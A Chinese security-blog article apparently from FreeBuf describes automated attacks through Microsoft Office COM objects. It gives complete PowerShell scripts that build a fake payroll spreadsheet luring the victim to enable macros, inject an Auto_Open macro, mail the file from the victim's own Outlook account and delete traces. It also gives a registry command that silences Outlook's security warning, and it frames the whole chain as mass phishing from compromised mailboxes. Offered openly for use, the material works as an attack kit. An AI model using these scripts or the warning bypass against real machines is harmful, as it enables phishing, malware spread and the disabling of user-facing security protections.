freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

一种针对Microsoft Office的自动化攻击方式
ASants 2023-01-04 09:43:59 577453
所属地 上海

前言

目前,很多软件包括Microsoft Office都是通过COM 对象实现的,它们都可以使用PowerShell(或其他语言)COM 对象来完成程序和服务的自动化操作。基于此,如果受害者机器安装了 Microsoft Office ,恶意软件就可以利用 COM 对象对目标主机进行恶意攻击。

自动化 Microsoft Excel的攻击

1.通过Excel 执行PowerShell。 

我们可以使用 New-Object -com 命令创建 Excel 应用程序,然后与返回的对象进行交互。

PS C:\> $excel = New-Object -com Excel.Application
PS C:\> $excel.Visible = $true

注意:如果要隐藏用户界面,应使用 Visible = $false。

1672796070_63b4d7a6ae211d74f72a1.jpg!small?1672796066530

2.编辑 Excel 文档

下一步可以添加一个 Workbook 并将一些数据写入特定的 Cell.

PS C:\> $workbook = $excel.Workbooks.Add()
PS C:\> $cell = $workbook.ActiveSheet.Cells(1,1)
PS C:\> $cell.Value = "Here goes the secret message!"
PS C:\> $workbook.Password = "Test"

结果如下所示:

1672796115_63b4d7d3f10ea9556a3e7.jpg!small?1672796111904

3.保存文档
使用 SaveAs 功能保存文件。

PS C:\> $workbook.SaveAs("EmbraceTheRed")

1672796140_63b4d7ece8c6e0a13305a.jpg!small?1672796136739

4.关闭文档

最后,使用 CLose() 关闭 Excel。

PS C:\> $workbook.Close()
PS C:\> $excel.Quit()

自动化 MicrosoftOutlook的攻击

如前所述,Office 的大部分内容都是使用 COM 接口实现的,因此我们也可以实现自动化 Outlook的攻击。

例如,为了将创建的 Excel 文档发送出去,攻击者可以使用 Outlook。

$to = ""
$subject = "Secret Excel Document"
$content = "Important message attached."
$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("EmbraceTheRed")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()

使用这些 COM 自动化技术,可以使安装在受感染机器上的现成应用程序来窃取数据,还可以建立完整的 C2 基础设施和消息通信。

自动化 MicrosoftOutlook发送文档

将上面的两部分结合,先生成 xls 加入宏之后保存为 xlsm,之后作为附件发送至目标,最后再将本地的 Excel 文件删除。
1672796202_63b4d82a2aaa3656cdb80.jpg!small?1672796198097
接收方接收邮件

1672796229_63b4d845259c58f7409ef.jpg!small?1672796224841
邮件详情

1672796241_63b4d8518ad693b4a7bb5.jpg!small?1672796237362
打开表格即中招。
1672796250_63b4d85ac6ae2fbaa2250.jpg!small?1672796246653
Excel 表格信息,其中最后一次保存者为发送邮件方的主机

1672796260_63b4d8648e5cf57915a6a.png!small?1672796257144

代码

powershell write xls

$excel = New-Object -com Excel.Application
$excel.Visible = $false
$workbook = $excel.Workbooks.Add()
$cell = $workbook.ActiveSheet.Cells(1,1)
$cell.Value = "查看工资明细请选择开启宏!"
$workbook.ActiveSheet.Cells(2,1).Value = " 月份 "
$workbook.ActiveSheet.Cells(2,2).Value = " 姓名 "
$workbook.ActiveSheet.Cells(2,3).Value = " 月薪 "
$workbook.ActiveSheet.Cells(2,4).Value = " 餐补 "
$workbook.ActiveSheet.Cells(2,5).Value = " 交补 "
$workbook.ActiveSheet.Cells(2,6).Value = " 出差补助 "
$workbook.ActiveSheet.Cells(2,7).Value = " 通讯费补助 "
$workbook.ActiveSheet.Cells(2,8).Value = " 交通费补助 "
$workbook.ActiveSheet.Cells(2,9).Value = " 笔记本补助 "
$workbook.ActiveSheet.Cells(2,10).Value = " 保密补贴 "
$workbook.ActiveSheet.Cells(2,11).Value = " 试用期导师津贴 "
$workbook.ActiveSheet.Cells(2,12).Value = " 伯乐奖 "
$workbook.ActiveSheet.Cells(2,13).Value = " 入离职不在职扣款 "
$workbook.ActiveSheet.Cells(2,14).Value = " 事假扣款 "
$workbook.ActiveSheet.Cells(2,15).Value = " 病假扣款 "
$workbook.ActiveSheet.Cells(2,16).Value = " 转正/调薪差额 "
$workbook.ActiveSheet.Cells(2,16).Value = " 其他 "
$workbook.ActiveSheet.Cells(2,16).Value = "  超融合奖励 "
$workbook.ActiveSheet.Cells(2,16).Value = " 应发合计 "
$workbook.ActiveSheet.Cells(2,16).Value = "  养老个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 失业个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 社保个人补差 "
$workbook.ActiveSheet.Cells(2,16).Value = " 公积金个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 税率 "
$workbook.ActiveSheet.Cells(2,16).Value = " 个税 "
$workbook.ActiveSheet.Cells(2,16).Value = " 扣除已发超融合奖励 "
$workbook.ActiveSheet.Cells(2,16).Value = " 实发 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计子女教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计赡养老人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计继续教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计住房贷款利息 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计住房租金 "
$workbook.WorkSheets.item(1).Name = "工资明细"
$workbook.author = "财务部"
$workbook.title = "2022年12月工资明细"
$workbook.subject = "2022年12月工资明细"
$workbook.SaveAs("c:\temp\2022年12月工资明细.xls")

$xl = New-Object -ComObject Excel.Application
$xl.Visible = $false
$xl.DisplayAlerts = $false
$workbook = $xl.Workbooks.Open("c:\temp\2022年12月工资明细.xls")
$xlmodule = $workbook.VBProject.VBComponents.Add(1)
$code = @"
Sub Auto_Open()
Msgbox "You Are Be Hacked!"
End Sub
"@

$xlmodule.CodeModule.AddFromString($code)
$workbook.SaveAs("c:\temp\2022年12月工资明细.xlsm",52)
$workbook.Close()
$excel.Quit()
sleep(1)
del c:\temp\2022年12月工资明细.xls

1672796310_63b4d8964eca818c6b6ae.png!small?1672796306722


OutLook

$to = "xxxx@qq.com"
$subject = "2022年12月工资明细"
$content = "您好,附件为2022年12月工资明细,请查收,谢谢。"

$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("c:\temp\2022年12月工资明细.xlsm")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()

结合

$excel = New-Object -com Excel.Application
$excel.Visible = $false
$workbook = $excel.Workbooks.Add()
$cell = $workbook.ActiveSheet.Cells(1,1)
$cell.Value = "查看工资明细请选择开启宏!"
$workbook.ActiveSheet.Cells(2,1).Value = " 月份 "
$workbook.ActiveSheet.Cells(2,2).Value = " 姓名 "
$workbook.ActiveSheet.Cells(2,3).Value = " 月薪 "
$workbook.ActiveSheet.Cells(2,4).Value = " 餐补 "
$workbook.ActiveSheet.Cells(2,5).Value = " 交补 "
$workbook.ActiveSheet.Cells(2,6).Value = " 出差补助 "
$workbook.ActiveSheet.Cells(2,7).Value = " 通讯费补助 "
$workbook.ActiveSheet.Cells(2,8).Value = " 交通费补助 "
$workbook.ActiveSheet.Cells(2,9).Value = " 笔记本补助 "
$workbook.ActiveSheet.Cells(2,10).Value = " 保密补贴 "
$workbook.ActiveSheet.Cells(2,11).Value = " 试用期导师津贴 "
$workbook.ActiveSheet.Cells(2,12).Value = " 伯乐奖 "
$workbook.ActiveSheet.Cells(2,13).Value = " 入离职不在职扣款 "
$workbook.ActiveSheet.Cells(2,14).Value = " 事假扣款 "
$workbook.ActiveSheet.Cells(2,15).Value = " 病假扣款 "
$workbook.ActiveSheet.Cells(2,16).Value = " 转正/调薪差额 "
$workbook.ActiveSheet.Cells(2,16).Value = " 其他 "
$workbook.ActiveSheet.Cells(2,16).Value = "  超融合奖励 "
$workbook.ActiveSheet.Cells(2,16).Value = " 应发合计 "
$workbook.ActiveSheet.Cells(2,16).Value = "  养老个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 失业个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 社保个人补差 "
$workbook.ActiveSheet.Cells(2,16).Value = " 公积金个人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 税率 "
$workbook.ActiveSheet.Cells(2,16).Value = " 个税 "
$workbook.ActiveSheet.Cells(2,16).Value = " 扣除已发超融合奖励 "
$workbook.ActiveSheet.Cells(2,16).Value = " 实发 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计子女教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计赡养老人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计继续教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计住房贷款利息 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累计住房租金 "
$workbook.WorkSheets.item(1).Name = "工资明细"
$workbook.author = "财务部"
$workbook.title = "2022年12月工资明细"
$workbook.subject = "2022年12月工资明细"
$workbook.SaveAs("c:\temp\2022年12月工资明细.xls")

$xl = New-Object -ComObject Excel.Application
$xl.Visible = $false
$xl.DisplayAlerts = $false
$workbook = $xl.Workbooks.Open("c:\temp\2022年12月工资明细.xls")
$xlmodule = $workbook.VBProject.VBComponents.Add(1)
$code = @"
Sub Auto_Open()
Msgbox "You Are Be Hacked!"
End Sub
"@

$xlmodule.CodeModule.AddFromString($code)
$workbook.SaveAs("c:\temp\2022年12月工资明细.xlsm",52)
$workbook.Close()
$excel.Quit()
sleep(1)
del c:\temp\2022年12月工资明细.xls

$to = "xxxx@qq.com"
$subject = "2022年12月工资明细"
$content = "您好,附件为2022年12月工资明细,请查收,谢谢。"

$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("c:\temp\2022年12月工资明细.xlsm")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()
sleep(1)
del c:\temp\2022年12月工资明细.xlsm

如何解决告警问题

这里还有个问题,就是通过 COM 调用 Outlook 发送邮件时会触发安全告警。

1672796347_63b4d8bb7ec2766781734.png!small?1672796343893

官方链接:

https://support.microsoft.com/zh-cn/office/%E6%88%91%E6%94%B6%E5%88%B0%E8%AD%A6%E5%91%8A-%E6%8C%87%E5%87%BA%E6%9C%89%E7%A8%8B%E5%BA%8F%E8%AE%BF%E9%97%AE%E7%94%B5%E5%AD%90%E9%82%AE%E4%BB%B6%E5%9C%B0%E5%9D%80%E4%BF%A1%E6%81%AF%E6%88%96%E4%BB%A5%E6%88%91%E7%9A%84%E5%90%8D%E4%B9%89%E5%8F%91%E9%80%81%E7%94%B5%E5%AD%90%E9%82%AE%E4%BB%B6-86cc5ece-379e-45e3-b8eb-3fefba09946b?ns=outlook&version=19&syslcid=2052&uilcid=2052&appver=zol190&helpid=olmain11.chm553714172&ui=zh-cn&rs=zh-cn&ad=cn

解决方案:

  1. 选择“开始”,然后输入“regedit”。 在搜索结果中,右键单击“注册表编辑器”,然后选择“以管理员身份运行”。
  2. 在注册表编辑器中,导航到相应的注册表子项,如下所示:

相同的位数安装 (在 32 位 Windows 上安装运行的 32 位办公软件或在 64 位 Windows 上安装运行的 64 位办公软件)︰

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\x.0\Outlook\Security

不同位数安装 (在 64 位 Windows 上安装运行的 32 位办公软件)︰

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\x.0\Outlook\Security

Office 基于 MSI 的安装︰

不同位元 (在 64 位 Windows 上安装运行的 32 位办公软件)︰

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office\x.0\Outlook\Security

相同的位数 (在 32 位 Windows 上安装运行的 32 位办公软件或在 64 位 Windows 上安装运行的 64 位办公软件)︰

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\x.0\Outlook\Security

本次测试地址:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\16.0\Outlook\Security

注意x.0占位符表示 Office 版本 (16.0 代表 Office 2016,15.0 代表 Office 2013 )

  1. 右键单击注册表子项,然后选择“新建”>“DWORD”。
  2. 将 DWORD 命名为 ObjectModelGuard。
  3. 将 DWORD 的值设置为所需的行为:
  • DWORD: ObjectModelGuard
  • 值:

0 = 在防病毒软件处于非活动状态或过期时警告我存在可疑活动 (推荐)

1 = 始终警告我可疑活动

2 = 切勿警告我可疑活动 (不推荐)

  1. 退出注册表编辑器。

1672796447_63b4d91ff318e1c506f89.png!small?1672796444183

更新注册表后,检查 Outlook 以确保在“编程访问”设置中正确显示更改:

  1. 在 Outlook 中,选择“文件”,然后选择“选项”。
  2. 选择“信任中心”,然后选择“信任中心设置”。
  3. 选择“编程访问”。
    1672796463_63b4d92f621fdb7c4725c.png!small?1672796459565
    这个可以通过注册表命令行直接修改

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\16.0\Outlook\Security /v ObjectModelGuard /t REG_DWORD /d 2

1672796476_63b4d93c082c308a611ef.png!small
但是修改完不会立即生效,需要重启下outlook进程。这里使用powershell命令来重启:

# 关闭Outlook进程
Stop-Process -Name "OUTLOOK"
# 启动Outlook进程
Start-Process "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE"

之后再次查看就生效了,然后再运行Powershell脚本就不会触发安全告警了。

总结

本操作主要是当受害者使用的是Outlook邮箱,为了获取到个人PC权限,可以通过该脚本自动化利用本机器用户的邮箱账号批量发送钓鱼邮件。由于使用的是本机器用户的邮箱账号,可信度较高,钓鱼成功率也会随之提升。

# 网络安全技术 # Microsoft Office # 自动化攻击
本文为 ASants 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
ASants LV.3
上海矢安科技有限公司
  • 14 文章数
  • 7 关注者
【威胁升级】Trigona勒索软件针对Linux与x64平台展开攻击!
2023-07-11
Flipper Zero 之DIY屏幕动画
2023-06-08
卷土重来:揭秘双DLL侧加载技术在Telegram网络钓鱼中的应用与黑产团伙的关联
2023-05-24
文章目录